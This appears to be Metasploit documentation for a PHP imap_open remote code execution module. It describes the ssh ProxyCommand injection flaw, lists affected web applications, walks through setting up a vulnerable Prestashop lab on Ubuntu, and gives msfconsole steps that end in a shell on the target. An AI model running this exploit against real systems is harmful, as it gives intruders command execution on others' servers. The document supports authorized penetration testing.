## Vulnerable Application

  The [imap_open](http://php.net/manual/en/function.imap-open.php) function within php,
  if called without the `/norsh` flag, will attempt to preauthenticate an IMAP session.
  On Debian based systems, including Ubuntu, `rsh` is mapped to the ssh binary. Ssh's 
  `ProxyCommand` option can be passed from `imap_open` to execute arbitrary commands.
  While many custom applications may use `imap_open`, it is reported that the following
  applications are vulnerable: 

* instantcms
* HostCMS
* e107_2
* prestashop
* SuiteCRM
* SugarCRM

  Prestashop exploitation requires the admin URI, and administrator credentials.

### Prestashop on Ubuntu 16.04

Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-prestashop-on-ubuntu-17-04-17-10-with-apache2-mariadb-and-php/),
with a few tweeks for Ubuntu 16.04, and to install PHP's imap mod.

```
sudo apt install apache2
sudo sed -i "s/Options Indexes FollowSymLinks/Options FollowSymLinks/" /etc/apache2/apache2.conf
sudo systemctl stop apache2.service
sudo systemctl start apache2.service
sudo systemctl enable apache2.service
sudo apt-get install mariadb-server mariadb-client
sudo systemctl stop mysql.service
sudo systemctl start mysql.service
sudo systemctl enable mysql.service
sudo mysql_secure_installation
sudo systemctl restart mysql.service
sudo apt install php libapache2-mod-php php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-intl php-mysql php-cli php-mcrypt php-ldap php-zip php-curl php-imap
sudo phpenmod imap
sudo mysql -u root -p
```

```
CREATE USER 'prestashopuser'@'localhost' IDENTIFIED BY 'new_password_here';
GRANT ALL ON prestashop.* TO 'prestashopuser'@'localhost' IDENTIFIED BY 'user_password_here' WITH GRANT OPTION;
FLUSH PRIVILEGES;
EXIT;
```

```
cd /tmp && curl -O https://download.prestashop.com/download/releases/prestashop_1.7.2.4.zip
unzip prestashop_1.7.2.4.zip
sudo mkdir -p /var/www/html/prestashop
sudo unzip prestashop.zip -d /var/www/html/prestashop/
sudo chown -R www-data:www-data /var/www/html/prestashop/
sudo chmod -R 755 /var/www/html/prestashop/
sudo nano /etc/apache2/sites-available/prestashop.conf
```

Utilize the following configuration:
```
<VirtualHost *:80>
     ServerAdmin admin@example.com
     DocumentRoot /var/www/html/prestashop/
     ServerName example.com
     ServerAlias www.example.com

     <Directory /var/www/html/prestashop/>
        Options +FollowSymlinks
        AllowOverride All
        Require all granted
     </Directory>

     ErrorLog ${APACHE_LOG_DIR}/error.log
     CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>
```

```
sudo a2ensite prestashop.conf
sudo a2enmod rewrite
sudo a2dissite 000-default
sudo systemctl restart apache2.service
```

Browse to the website, and install with default information.

```
sudo rm -rf /var/www/html/prestashop/install/
```

Now browse to `/admin`, and the first time you'll be redirected to the admin URI.  If not, `sudo ls /var/www/html/prestashop/admin*`.

## Verification Steps

  1. Install a vulnerable application
  2. Start msfconsole
  3. Do: ```use exploit/linux/http/php_imap_open_rce```
  4. Do: ```set TARGETURI [URI]```
  5. Do: ```set USERNAME [username]```
  6. Do: ```set PASSWORD [password]```
  7. Do: ```set target [target]```
  8. Do: ```run```
  9. You should get a shell.

## Options

  **TARGETURI**

  The URI for the target.  This may change by target.  Default is ``.
  Prestashop should be the admin URI, similar to `/admin2769gx8k3`.
